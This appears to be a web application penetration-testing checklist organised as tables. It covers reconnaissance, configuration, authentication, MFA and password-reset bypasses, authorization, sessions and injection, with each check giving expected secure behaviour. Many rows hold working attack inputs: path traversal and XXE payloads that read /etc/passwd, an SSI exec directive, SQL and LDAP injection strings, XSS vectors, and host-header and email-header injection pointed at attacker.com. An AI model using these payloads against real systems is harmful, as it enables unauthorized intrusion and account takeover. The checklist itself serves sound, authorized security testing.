Web App VAPT Checklist

Information Gathering

38 checks

Search Engine Discovery & Information Leakage3 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Search indexed sensitive files/pages	Use search engines to look for sensitive indexed content under the target domain.	site:example.com filetype:env OR filetype:log OR filetype:bak OR filetype:sql site:example.com inurl:admin OR inurl:staging	No sensitive files, admin/UAT URLs, credentials, backups, or internal documents should be indexed.
Check archive/cached content	Check Wayback/cached pages for old endpoints, parameters, backup files, and removed sensitive content.	Wayback Machine, Google cache, Bing cache	Removed or old sensitive content should not be publicly accessible or useful for attacks.
Check public code/document leaks	Search GitHub/GitLab/public docs for organization name, domain, API keys, internal URLs, credentials, or environment files.	"example.com" "api_key" "example.com" "password" GitHub search: org/domain/secrets	No secrets, tokens, internal configs, or private source code should be exposed publicly.

Fingerprint Web Server3 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Identify server and version	Capture responses and check headers/banner/version from web server or proxy.	Server: Apache/2.4, nginx, IIS Tools: Burp, curl -I, Nmap, WhatWeb	Server should expose minimal version details; outdated versions should not be used.
Identify exposed technology headers	Review HTTP headers for technology disclosure.	X-Powered-By, X-AspNet-Version, X-Generator, Via	Headers should not reveal unnecessary technology, framework, or version details.
Check exposed OS/service details	Use safe fingerprinting to identify OS/service details only within scope.	nmap -sV -Pn target	Unnecessary OS/service details should not be disclosed publicly.

Review Webserver Metafiles3 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Review robots.txt	Open /robots.txt and note disallowed paths, admin paths, private endpoints, or test directories.	https://example.com/robots.txt	robots.txt should not disclose sensitive or unauthenticated restricted paths.
Review sitemap.xml	Open /sitemap.xml and check for hidden, old, staging, or sensitive pages.	https://example.com/sitemap.xml	Sitemap should only expose intended public pages.
Review security.txt and .well-known paths	Check /.well-known/security.txt and other .well-known files for useful security/contact metadata or hidden configuration.	/.well-known/security.txt /.well-known/openid-configuration	Only intended public metadata should be exposed.

Enumerate Applications on Webserver6 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Enumerate subdomains	Use subdomain tools and search to discover all subdomains, then verify which are live and what they expose.	subfinder -d example.com amass enum -d example.com crt.sh, assetfinder, site:*.example.com	Only intended subdomains should be live; no exposed internal, test, or abandoned apps.
Enumerate virtual hosts	Fuzz the Host header against the target IP/domain to find hidden apps hosted on the same server.	ffuf -w subs.txt -u https://example.com/ -H "Host: FUZZ.example.com" gobuster vhost -u https://example.com -w subs.txt	Hidden vhosts should not expose admin/internal/staging apps without proper controls.
Enumerate hidden applications	Perform directory/path enumeration for unlinked apps and old panels.	/admin, /dashboard, /portal, /backend, /old, /v1, /v2, /beta, /internal Tools: dirsearch, ffuf, gobuster	Hidden apps should not expose sensitive functionality, debug data, or unauthenticated access.
Enumerate admin panels	Search common admin paths and verify whether they are protected with auth, MFA, rate limit, and access control.	/admin, /admin/login, /administrator, /manage, /panel, /cms, /wp-admin, /phpmyadmin	Admin interfaces should require strong authentication and should not expose default credentials or bypasses.
Enumerate APIs	Capture API traffic and check common API documentation/version paths.	/api, /api/v1, /api/v2, /rest, /graphql, /swagger, /swagger-ui, /openapi.json, /api-docs	APIs should require proper authentication/authorization and should not expose unnecessary docs in production.
Enumerate test/UAT/staging environments	Search for non-production environments and verify whether they expose weaker controls or real data.	dev.example.com, test.example.com, uat.example.com, staging.example.com, preprod.example.com, qa.example.com, beta.example.com	Non-production environments should not be publicly exposed or contain real data/weak credentials.

Review Comments & Metadata6 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Review HTML comments	Open page source and Burp responses to find comments exposing internal notes, hidden paths, credentials, test data, or disabled functionality.	<!-- TODO: remove /admin-test -->	HTML comments should not expose sensitive implementation details.
Review JavaScript comments	Review JS files for TODO/FIXME notes, API endpoints, feature flags, environment names, or internal logic.	app.js, main.js, chunk files	JS comments should not reveal sensitive routes, keys, or business logic.
Check exposed debug information	Send invalid/malformed requests and inspect responses/JS/API errors for stack traces, file paths, DB errors, or debug logs.	Malformed JSON, invalid token, missing parameter	Debug details should not be visible to users.
Check hardcoded API keys/tokens	Search JS/config/API responses for API keys, tokens, secrets, client IDs, environment variables, or third-party credentials.	apiKey, token, secret, client_id, Bearer, AWS_ACCESS_KEY	No hardcoded secrets should be present in frontend/public files.
Check document metadata	Download public PDFs/DOCX/XLSX/images and inspect metadata for author names, internal usernames, software versions, or file paths.	exiftool file.pdf exiftool image.jpg	Metadata should not expose sensitive internal information.
Check source maps	Look for exposed .map files and verify whether they reveal original source code, hidden routes, comments, or sensitive logic.	main.js.map, app.js.map, bundle.js.map	Production source maps should not expose sensitive code or secrets.

Identify Application Entry Points3 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Identify user input entry points	List every place where the user can submit or control data.	Login, registration, search, upload, comments, profile, filters, headers, cookies	All inputs should be known before injection/business logic testing.
Identify API entry points	Record endpoint path, method, parameters, headers, content type, auth requirement, and role requirement for each API.	GET /api/user/{id} POST /api/upload PUT /api/profile	All APIs should be documented for later authz/input/rate-limit tests.
Identify sensitive action entry points	List actions that change state or expose sensitive data.	Password reset, email change, payment, coupon, delete, export, admin actions	Sensitive actions should require proper auth, authorization, CSRF/anti-replay where applicable.

Map Execution Paths3 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Map end-to-end workflows	Capture full step sequence for key flows and note required preconditions for each step.	Signup → OTP → Login Forgot Password → Token/OTP → Set Password Upload → Preview → Submit	Backend should enforce each workflow step, not only frontend UI.
Map API sequence	Record request order and dependencies for important flows.	initiate-payment → verify-payment → confirm-order	Later-step APIs should fail if earlier steps were skipped.
Identify direct-call opportunities	Try calling later APIs directly without completing previous steps.	Call /reset-password without OTP/token verification	Server should block workflow skipping.

Fingerprint Web Application5 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Identify roles and permissions	Login with each available role and compare visible pages, buttons, APIs, and actions.	Guest/user/premium/moderator/admin/super admin	Low-privilege users should not access high-privilege actions or APIs.
Identify business logic flows	Document business workflows step-by-step so they can be tested for skip/replay/repeat/tamper abuse.	Coupon, payment, approval, upload, reset, registration	Business rules should be enforced server-side.
Identify API structure	Group APIs by functionality and record path, method, auth, parameters, and response.	Auth APIs, User APIs, Admin APIs, Upload APIs	API structure should not expose unintended sensitive endpoints.
Identify error handling behavior	Send invalid, missing, expired, malformed, and unauthorized requests to observe error style and leakage.	Invalid user_id, expired token, malformed JSON, no auth header	Errors should be generic and should not leak stack traces, DB errors, or user existence.
Identify security controls	Record all protections in use: CAPTCHA, MFA, OTP, CSRF, rate limits, JWT/session validation, secure cookies, CORS, WAF/CDN, and re-authentication.	Check login, forms, APIs, uploads, sensitive actions	Security controls should be consistently applied across web, API, and alternate channels.

Map Application Architecture6 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Identify frontend/backend communication	Observe how frontend calls backend APIs, including base URL, request format, auth method, and common headers.	Frontend: app.example.com Backend: api.example.com/v1 Auth: Bearer JWT	Architecture and data flow should be understood for later access control and token tests.
Identify API gateways	Check whether APIs pass through a gateway/proxy by observing common domains, routing behavior, headers, rate limits, and error patterns.	Via, X-Gateway, X-Request-ID, X-Amzn-Trace-Id, X-Envoy-Upstream-Service-Time, CF-Ray	Gateway should enforce security consistently across APIs.
Identify auth mechanisms	Determine whether auth uses JWT, session cookies, OAuth/SSO, API keys, OTP, or MFA, and where tokens are stored.	Cookie, Authorization header, localStorage, sessionStorage, URL, response body	Tokens should be stored/transmitted securely and validated server-side.
Identify microservices	Group APIs by backend service/functionality and compare security behavior across services.	auth, user, upload, payment, notification, admin services	Each service should enforce auth, authorization, rate limits, and safe errors consistently.
Identify third-party integrations	List external services loaded or called by the app and check whether sensitive data/tokens/callbacks are exposed.	Payment gateway, OAuth, SMS/email, analytics, CAPTCHA, CDN, chat, webhook provider	Third-party integrations should not leak tokens, PII, or callback secrets.
Identify CDN/WAF/proxy usage	Check DNS/headers/cache behavior to identify CDN, WAF, reverse proxy, or load balancer.	CF-Ray, Server: cloudflare, Akamai, X-Cache, Age, Via, X-Forwarded-For	Proxy/CDN behavior should not introduce cache, origin exposure, WAF bypass, or host-header issues.

Configuration & Deployment Management Testing

33 checks

Test Network / Infrastructure Configuration7 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Scan open ports	Scan target host/IP and verify only required ports are publicly exposed.	nmap -sV -Pn example.com	Only approved ports like 80/443 should be public unless explicitly required.
Check unnecessary services	Identify services behind open ports and check if risky services are publicly exposed.	FTP, Telnet, SSH, RDP, MongoDB, Redis, MySQL, Elasticsearch	Internal/admin services should not be exposed publicly.
Check firewall exposure	Verify firewall/security group restrictions for admin/internal services.	Attempt access from external network	Unauthorized public access should be blocked.
Check internal IP leakage	Inspect responses, headers, JS, APIs, and errors for private IPs/hostnames/server names.	10.x.x.x, 172.16.x.x, 192.168.x.x, internal.local	Internal network details should not leak.
Check cloud storage exposure	Find cloud storage URLs/buckets referenced by app and verify read/write/list permissions.	S3/GCS/Azure URLs, bucket listing	Buckets should not be public unless intended; no sensitive files should be exposed.
Check CDN misconfiguration	Check caching behavior, origin exposure, and whether private pages are cached.	X-Cache, Age, CF-Cache-Status, direct origin IP	CDN should not cache sensitive user-specific content or expose origin.
Check TLS/SSL configuration	Test TLS protocols, certificate validity, and weak ciphers.	SSL Labs, testssl.sh, nmap ssl-enum-ciphers	Only strong TLS configuration should be enabled.

Test Application Platform Configuration5 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Check debug/developer mode	Look for debug mode, test mode, dev banners, debug endpoints, or verbose logs in app/API.	debug=true, /debug, /actuator, stack traces	Debug mode should be disabled in public environments.
Check verbose errors	Trigger invalid requests and verify errors do not expose stack traces, DB errors, internal paths, or framework details.	Malformed JSON, invalid token, invalid object ID	Errors should be generic and safe.
Check insecure default configuration	Look for default pages, install/setup pages, default credentials, sample apps, or exposed management consoles.	/setup, /install, /server-status, default admin pages	Default/sample/admin setup interfaces should not be accessible.
Check outdated components	Identify server/framework/CMS/library versions and compare with known vulnerable versions.	Wappalyzer, WhatWeb, Burp, Nuclei templates	Known vulnerable components should not be exposed.
Check insecure headers	Review security headers and cookie flags.	CSP, X-Frame-Options/frame-ancestors, X-Content-Type-Options, HSTS, Referrer-Policy, Secure/HttpOnly/SameSite	Security headers and cookie flags should be properly configured.

Test File Extension Handling3 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Access sensitive extensions	Directly request sensitive file extensions and common config/backup names.	.env, .bak, .backup, .old, .log, .conf, .config, .json, .xml, .sql, .zip	Sensitive files should not be publicly accessible.
Check MIME handling	Request/upload files and verify the server does not rely only on extension or declared Content-Type.	Content-Type: image/jpeg for HTML/JS/SVG content	Server should validate actual content and return safe MIME type.
Check execution vs download behavior	Open uploaded/static risky files and check whether they execute/render inline.	.html, .js, .svg, .php, .jsp, .aspx	Risky files should not execute; dangerous content should be blocked or forced download.

Backup & Unreferenced Files4 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Search backup files	Bruteforce common backup names and extensions.	backup.zip, db.sql, site-old.zip, index.php.bak, config.old	Backup files should not be accessible.
Search temp/editor files	Look for temporary/editor-generated files.	.tmp, .swp, .save, ~, .orig	Temporary files should not expose source/configuration.
Search old application versions	Check old/deprecated directories or API versions.	/old, /backup, /legacy, /archive, /v1, /beta	Old versions should not be exposed or weaker than current app.
Search hidden endpoints	Perform path enumeration for unlinked functionality.	ffuf/dirsearch/gobuster with wordlists	Hidden endpoints should not expose sensitive data or unauthenticated functionality.

Enumerate Admin Interfaces3 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Search common admin paths	Check common admin/management URLs.	/admin, /admin/login, /panel, /dashboard, /manage, /administrator, /backend, /console, /cms	Admin panels should require strong authentication and access control.
Search admin APIs	Check admin API paths and test as unauthenticated/low-privilege user.	/api/admin, /admin/api, /api/v1/admin, /management	Admin APIs should return 401/403 unless authorized.
Check admin protections	Verify MFA, rate limit, session timeout, secure cookies, no default credentials.	Try default creds only in authorized scope	Admin interfaces should have stronger protections than normal user areas.

Test HTTP Methods4 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Identify enabled HTTP methods	Send OPTIONS and manual requests to identify allowed methods.	OPTIONS /path Methods: GET, POST, PUT, PATCH, DELETE, TRACE	Only required methods should be enabled.
Check dangerous methods	Test if PUT/DELETE/TRACE allow upload, modification, deletion, or trace reflection.	PUT /test.txt DELETE /resource/1 TRACE /	Dangerous methods should be disabled unless required and protected.
Check method override behavior	Send same request with method override headers/params to see if backend treats it as a different method.	X-HTTP-Method-Override: DELETE X-Method-Override: PUT _method=DELETE	Method override should be disabled or protected consistently.
Check access control differences between methods	Send the same restricted endpoint with GET/POST/PUT/PATCH/DELETE and verify authz is enforced for each.	GET /api/admin/users → 403 POST /api/admin/users → should also be 403	No method should bypass authentication, authorization, validation, or CSRF.

Test HTTP Strict Transport Security4 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Check HSTS header	Verify Strict-Transport-Security exists on HTTPS responses.	Strict-Transport-Security: max-age=31536000; includeSubDomains; preload	HSTS should be present for HTTPS apps.
Check max-age	Verify max-age is strong and not too short.	Recommended long max-age such as 31536000	HSTS should not use very short duration in production.
Check subdomain coverage	Verify includeSubDomains only if all subdomains support HTTPS.	includeSubDomains	No subdomain should break or expose HTTP-only sensitive flows.
Check HTTPS downgrade	Access HTTP URL and verify secure redirect without leaking cookies/tokens.	http://example.com/login	HTTP should redirect to HTTPS before sensitive data is sent.

Test RIA Cross Domain Policy3 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Check crossdomain.xml	Open root/application paths for Flash policy file.	/crossdomain.xml	Should be absent or restrictive if not required.
Check clientaccesspolicy.xml	Open root/application paths for Silverlight policy file.	/clientaccesspolicy.xml	Should be absent or restrictive if not required.
Check wildcard domain trust	Review policy files for wildcard domains or unrestricted headers.	<allow-access-from domain="*" />	Only trusted domains should be allowed.

Identity Management Testing

9 checks

Role, Registration and Account Lifecycle9 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test role definitions	Create/use each role and compare allowed pages, APIs, menu items, actions, and data access.	guest/user/admin/superadmin	Roles should have clear boundaries and no privilege leakage.
Test registration verification	Register with email/phone and try using account without completing verification.	Skip OTP/email link; call login/profile APIs directly	Unverified accounts should not access restricted functionality.
Test duplicate account handling	Register with same email/phone using case changes, spaces, plus addressing, Unicode, or alternate formats.	Test@Mail.com vs test@mail.com test+1@mail.com	Duplicate or confusing accounts should be prevented according to policy.
Test mass assignment in registration	Add hidden fields in registration body.	{"email":"a@b.com","role":"admin","isVerified":true}	Server should ignore/reject unauthorized fields.
Test account provisioning privileges	Check newly created accounts for default roles, feature access, and API permissions.	New user accessing /api/admin	New accounts should receive least privilege only.
Test account enumeration	Compare valid/invalid usernames across login/signup/forgot password.	valid@example.com vs invalid@example.com	Response message/status/timing should not reveal account existence.
Test weak username policy	Try reserved/system usernames and confusing formats.	admin, root, support, null, user..name, spaces	Reserved or unsafe usernames should be blocked/normalized.
Test guest/training accounts	Use guest/demo/training accounts and check restricted pages/APIs/data.	guest:guest, demo accounts	Guest accounts should have minimal permissions and no sensitive data access.
Test account suspension/resumption	Suspend/disable an account and try login/API/session reuse; then test reactivation flow.	Use old session after suspension	Suspended users should lose access immediately; reactivation should be secure.

Authentication Testing

56 checks

Login and Authentication Controls10 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Check credentials over HTTPS	Submit login and verify credentials/tokens never travel over HTTP or URL query string.	Inspect Burp request/response	Credentials must be sent only over HTTPS in request body, not URLs/loggable locations.
Test default credentials	Try approved/common default credentials on login/admin/dev panels.	admin/admin, admin/password, test/test	Default credentials should not work.
Test weak lockout/rate limit	Send repeated login attempts for same and different users/IPs.	Burp Intruder/null payload; username rotation	System should throttle, lock, CAPTCHA, or alert after excessive attempts.
Test authentication bypass	Access authenticated pages/APIs without token/cookie or with modified/expired token.	Remove Authorization header; use expired JWT; call /api/me directly	Server should reject unauthenticated requests.
Test legacy login endpoints	Search old login paths and verify they do not bypass current MFA/CAPTCHA/lockout/security controls.	/login, /signin, /auth/login, /api/v1/login, /old-login, /mobile/login	Legacy endpoints should be disabled or enforce same security controls.
Test remember-me functionality	Enable remember-me and inspect token/cookie lifetime, storage, rotation, and invalidation after logout/password reset.	RememberMe cookie/localStorage token	Persistent tokens should be secure, random, scoped, and invalidated when required.
Test browser cache weakness	Login, view sensitive page, logout, then use browser back/cache/offline mode.	Back button after logout	Sensitive pages should not be accessible from cache.
Test weak password policy	Try weak/common/passwords based on username/email.	123456, password, admin123, username@123	Weak/common passwords should be rejected.
Test security question weakness	Try guessable answers, repeated guesses, and public-info answers.	mother maiden name, city, pet name	Security answers should not be easily guessable/bruteforceable; rate limit should apply.
Test weaker alternate channels	Compare web, mobile, API, old endpoints, and SSO flows for inconsistent authentication controls.	Mobile API login without CAPTCHA/MFA while web has it	All channels should enforce equivalent authentication security.

2FA / MFA / OTP Bypass Techniques12 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test response manipulation bypass	Intercept 2FA verification response and check whether client-side changes can unlock account.	Change {"success":false} to {"success":true}; change 4xx to 200 in response	Access must depend on server-side state, not client-side response manipulation.
Test 2FA code leakage	Trigger 2FA/OTP and inspect response, logs, JS, and API body for OTP/code exposure.	Look for otp, code, verificationCode in response	OTP/2FA codes must never be returned to client.
Test 2FA code reuse	Use a valid 2FA code once, then submit it again or from another session/device.	Replay same OTP	2FA code should be single-use and bound to the correct user/session.
Test 2FA brute force	Attempt many wrong OTP values and observe retry limits, cooldown, lockout, and alerting.	000000, 111111, 123456; Burp Intruder	OTP attempts should be strictly limited.
Test 2FA integrity validation	Try using OTP generated for User A/session A to verify User B/session B.	Swap email/user_id/session/token in verify request	OTP must be bound to intended account and session.
Test CSRF on disabling 2FA	Try disabling 2FA without CSRF token and without password/re-auth confirmation.	POST /2fa/disable without CSRF	Disabling 2FA should require CSRF protection and re-authentication.
Test password reset disabling 2FA	Enable 2FA, reset password, then check whether login/dashboard is accessible without completing 2FA.	Password reset → login/dashboard	Password reset should not silently disable or bypass MFA.
Test backup code abuse	Use recovery/backup codes repeatedly, brute force them, or use codes from another session/user.	Backup code reuse/bruteforce	Backup codes should be single-use, random, rate-limited, and user-bound.
Test clickjacking on 2FA disable page	Check whether 2FA disable/manage page can be framed and abused via UI redress.	Iframe PoC for /2fa/disable	Sensitive 2FA pages should not be frameable.
Test null/empty/default OTP bypass	Submit empty/null/default/common OTP values.	null, "", 000000, 123456	Invalid/default OTP values should fail.
Test direct access after first factor only	After password login but before 2FA, open other tabs/API endpoints and check access.	/dashboard, /api/me, /api/admin after first factor only	No protected endpoint should be accessible before MFA completion.
Test registration OTP bypass by repeated submission	Repeat/modify registration OTP requests and final submit requests to see if verification state can be bypassed.	Change phone/email in repeater after request creation	Registration should only complete after valid OTP for the same account/session.

Forgot Password - Request Phase11 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test account enumeration	Submit valid and invalid email/phone and compare message, status code, response length, redirect, and timing.	valid@site.com vs invalid@site.com	Response should be generic, e.g., "If account exists, reset instructions were sent."
Test reset request rate limiting	Send many forgot-password requests for same account/IP and observe throttling/CAPTCHA/email flood protection.	Burp Intruder null payload	System should throttle, block, CAPTCHA, or alert excessive requests.
Test email/SMS flooding	Request reset links/OTPs repeatedly and check if target receives unlimited messages.	20-50 reset requests in authorized test	User should not receive unlimited reset messages.
Test email parameter pollution	Submit duplicate or multiple email values and verify reset link is not sent to attacker address.	email=victim@mail.com&email=attacker@mail.com {"email":["victim@mail.com","attacker@mail.com"]}	Only the intended validated account owner should receive reset instructions.
Test separators in email value	Add separators to email field and check if application sends to multiple recipients or mis-parses value.	victim@mail.com,attacker@mail.com victim@mail.com attacker@mail.com victim@mail.com\|attacker@mail.com victim@mail.com%00attacker@mail.com	Email parser should reject invalid/multiple recipient values.
Test email header injection	Inject CRLF into email-related fields to add CC/BCC/Subject/body headers.	victim@mail.com%0aBCC:attacker@mail.com victim@mail.com%0d%0aCC:attacker@mail.com	CRLF/header injection must be blocked.
Test no-domain/no-TLD email handling	Submit incomplete email values and check if logic maps them to real accounts or bypasses validation.	email=victim email=victim@mail	Invalid email formats should be rejected.
Test reset link/token in API response	Request forgot password and inspect API response for reset token/link/OTP/user ID.	{"resetPasswordLink":"https://...token=..."}	Reset tokens/OTPs should not be returned in API responses.
Test host header poisoning	Modify Host/X-Forwarded-Host during reset request and inspect reset email link domain.	Host: attacker.com X-Forwarded-Host: attacker.com Host: target.com + X-Forwarded-Host: attacker.com	Reset links must use trusted configured domain only.
Test HTML/XSS reflection in forgot password form	Enter HTML/XSS-style email/name values and check whether reflected on page/email without encoding.	"<svg/onload=alert(1)>"@gmail.com <a href="https://attacker.com">Login</a>	Input should be encoded/sanitized and not execute/render malicious HTML.
Test malformed input handling	Submit malformed JSON, long strings, Unicode, invalid content type, or missing fields.	Missing email; very long email; Content-Type conversion	Application should return safe validation errors without stack traces.

Password Reset - Token/OTP/Password Phase23 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test reset token expiry	Generate a reset link/token and use it after its configured expiry window.	Use old token after expiry	Expired reset tokens should be rejected.
Test reset token reuse after successful reset	Use reset link once to change password, then use the same link again.	Reuse same token/link	Token should be invalidated after first successful use.
Test old token remains valid after new token generation	Request reset link A, then request reset link B, use B, then try A.	Token A requested first; Token B requested later	Older reset tokens should be invalidated when a new token is issued or after password change.
Test old token remains valid after account password change	Request reset token, then log in and change password from account settings, then try old reset token.	Forgot token → account setting password change → use old token	Reset token should be invalidated after any password change.
Test old token remains valid after email change	Request reset token, change account email, then try old reset token.	Forgot token → email change → use old token	Reset token should be invalidated after email/account identifier change.
Test reset token tampering	Modify token, user_id, email, phone, or account_id in reset request.	{"token":"abc","user_id":"victim_id"}	Token must be cryptographically random and bound to exact account.
Test reset token predictability	Generate multiple reset tokens and compare for timestamp/user ID/email/name-based patterns.	reset_1001, timestamp-like token, sequential token	Tokens should be random, high entropy, and unpredictable.
Test reset token leak via Referer	Open reset page, click external/social links, and inspect outbound Referer header.	Referer: https://site/reset-password/<token>	Referrer-Policy should prevent token leakage; token should not be in URL when possible.
Test OTP brute force	Try many invalid OTP codes and observe limits/lockout/cooldown.	000000, 111111, 123456; Burp Intruder	OTP attempts should be limited and monitored.
Test OTP expiry	Use OTP after expiry time.	Wait until OTP expires	Expired OTP should be rejected.
Test OTP reuse	Use valid OTP once, then try it again.	Replay same OTP	OTP should be single-use.
Test OTP/session binding	Use OTP sent to User A/session A with User B/session B by changing email/phone/user_id in request.	Change email=victim to attacker or vice versa	OTP must be bound to correct account and session.
Test direct reset API access	Call reset-password API without valid OTP/token or after deleting verification step parameters.	POST /reset-password with only newPassword	Server must validate token/OTP every time.
Test replay attack	Capture successful reset request and resend it.	Burp Repeater replay	Replay should fail because token/OTP is consumed.
Test race condition with same token	Send multiple parallel reset requests using the same valid token/OTP.	Turbo Intruder / Burp parallel group	Only one request should succeed.
Test weak password policy	Set weak/common/passwords similar to username/email.	123456, password, qwerty123, admin123	Weak/common passwords should be rejected.
Test old password reuse	Try resetting to current or previous passwords.	newPassword = oldPassword	Password history policy should block reuse if required.
Test confirm password mismatch	Send different new password and confirm password values or tamper only one in API.	newPassword=A, confirmPassword=B	Password reset should fail.
Test open redirect after reset	Modify redirect/returnUrl/next parameter after successful reset.	?redirect=https://evil.com ?returnUrl=//evil.com	External redirects should be blocked or allowlisted.
Test CSRF on reset/change password	Submit reset/change-password request without CSRF token when cookie-based auth is used.	Remove CSRF token/header	State-changing password actions should require valid CSRF protection.
Test session handling after reset	Reset password while active sessions exist in another browser/device, then test old sessions.	Use old session after reset	Old sessions should be invalidated or require re-authentication.
Test browser cache after reset	After reset/logout, use browser back button and cache/offline mode.	Back to reset page/profile	Sensitive reset pages should not be cached.
Test reset notification leakage	Inspect reset confirmation email/SMS/notification content.	Password/token in notification	Notification should not include password, token, or sensitive data.

Authorization Testing

13 checks

Directory Traversal / File Include / Null Byte4 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test basic path traversal	Modify file/path parameters to access parent directories or restricted files.	../../etc/passwd ..\..\windows\win.ini	Application should block traversal and only serve authorized files.
Test encoded traversal bypass	Try URL-encoded and double-encoded traversal.	..%2f..%2fetc%2fpasswd ..%252f..%252fetc%252fpasswd	Encoded traversal should be normalized and blocked.
Test null byte bypass	Inject null byte in filename/path to bypass extension checks in vulnerable stacks.	config.php%00.pdf image.php%00.jpg	Null byte must not truncate validation or allow restricted file access.
Test local/remote file include	If file/template/page parameters exist, try including local or remote resources in authorized scope.	?page=../../etc/passwd ?template=http://attacker.test/a	Application should allowlist files and block remote inclusion.

Authorization Bypass and 403 Bypass5 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test unauthorized direct access	Access restricted pages/APIs without login and as low-privilege user.	/admin, /api/admin/users	Should return 401/403 and no sensitive data.
Test path normalization bypass	Try variations of restricted path with slashes, dots, semicolons, and encoded characters.	/admin%09 /admin%20 /admin/. //admin// /./admin/./ /..;/admin /admin..;/	Access control should apply after canonical path normalization.
Test encoded path bypass	Try single/double encoded path traversal or dot encodings against restricted resources.	/%2e/admin /%252e/admin	Encoded paths should not bypass access control.
Test header-based 403 bypass	Add rewrite/original URL/IP override headers and check if backend routes to restricted resource.	X-Original-URL: /admin X-Rewrite-URL: /admin X-Custom-IP-Authorization: 127.0.0.1 X-Forwarded-For: 127.0.0.1	Client-controlled headers should not bypass access control.
Test method-based authz bypass	Send restricted endpoint with different HTTP methods.	GET/POST/PUT/PATCH/DELETE /admin/resource	Authorization should be enforced for every method.

Privilege Escalation and IDOR4 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test horizontal privilege escalation	Change object/user IDs to access another user’s resources.	/api/orders/1001 → /api/orders/1002	Users should access only their own authorized objects.
Test vertical privilege escalation	As normal user, modify role/permission/status fields or call admin APIs.	{"role":"admin","isAdmin":true}	Server should reject unauthorized role/permission changes.
Test IDOR on read/update/delete/download	Modify IDs in GET/PUT/DELETE/download requests and verify object-level authorization.	user_id, file_id, order_id, invoice_id, message_id	Every object access should be authorized server-side.
Test predictable IDs	Enumerate sequential IDs and check whether data is exposed.	1,2,3...; UUID swaps	Predictable IDs should still be protected by authorization.

Session Management Testing

8 checks

Session and Cookie Controls8 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test session validation on every request	Remove/expire/modify session token and call protected APIs/pages.	Delete cookie; change JWT character; use expired session	Every protected request should validate session server-side.
Check cookie attributes	Inspect auth cookies for Secure, HttpOnly, SameSite, path, domain, expiry.	Browser DevTools / Burp cookie jar	Auth cookies should use Secure, HttpOnly, SameSite and safe scope.
Test session fixation	Capture session before login and verify session ID changes after login.	Same cookie before/after login	Session ID should regenerate after authentication.
Check exposed session variables	Search URL, response body, JS, localStorage/sessionStorage, logs for session IDs/tokens.	token= in URL; localStorage authToken	Session tokens should not leak in client-visible/loggable places.
Test CSRF	Remove/alter CSRF token on state-changing requests and test whether request succeeds.	Password change, email change, delete, transfer	CSRF token/origin checks should block forged requests.
Test logout	Logout and replay old session/token requests.	Burp replay after logout	Session/token should be invalidated after logout.
Test session timeout	Wait idle/absolute timeout and replay old session/API requests.	Idle timeout test	Session should expire as per policy.
Test session puzzling	Mix sessions/tokens between users, roles, or incomplete workflows and check confusion.	Use token from User A in User B workflow	Session state should remain isolated and consistent.

Data Validation Testing

16 checks

Injection and Input Validation16 checks

Checklist Item	What exactly to perform	Reference / Example / Payload	Expected Secure Behaviour
Test reflected XSS	Inject script/HTML payloads in parameters/forms/headers and check immediate reflection/execution.	<script>alert(1)</script> "><svg/onload=alert(1)>	Input should be encoded/sanitized; no script execution.
Test stored XSS	Store payloads in profile/comments/posts/uploads and view as another user.	<img src=x onerror=alert(1)>	Stored user content should not execute scripts.
Test HTTP verb tampering	Change request methods and verify validation/authz remains same.	GET ↔ POST ↔ PUT ↔ DELETE	Method changes should not bypass controls.
Test HTTP parameter pollution	Send duplicate/conflicting parameters in query/body/JSON/multipart.	id=1&id=2 role=user&role=admin {"email":["victim","attacker"]}	Backend should handle duplicates safely and consistently.
Test SQL injection	Inject SQL metacharacters/operators in inputs and observe errors/timing/logic changes.	' OR '1'='1 ' AND SLEEP(5)--	Parameterized queries should prevent SQL injection.
Test LDAP injection	Inject LDAP filter characters in auth/search inputs.	)(uid=))(\|(uid=* admin*)	LDAP queries should be safely encoded.
Test ORM injection	Tamper filters/sort/search JSON used by ORM queries.	{"where":{"role":{"$ne":"user"}}}	ORM filters should be allowlisted and server-controlled.
Test XML/XXE injection	Submit XML with entities/doctype if XML is accepted.	<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>	External entities should be disabled; XML should be safely parsed.
Test SSI injection	Inject SSI directives where server-side includes may process content.	<!--#exec cmd="id"-->	SSI directives should not execute from user input.
Test XPath injection	Inject XPath logic in XML-backed search/auth inputs.	' or '1'='1	XPath queries should be parameterized/escaped.
Test IMAP/SMTP injection	Inject CRLF or mail command payloads in email-related fields.	test@test.com%0aBCC:attacker@test.com	Mail commands/headers should not be injectable.
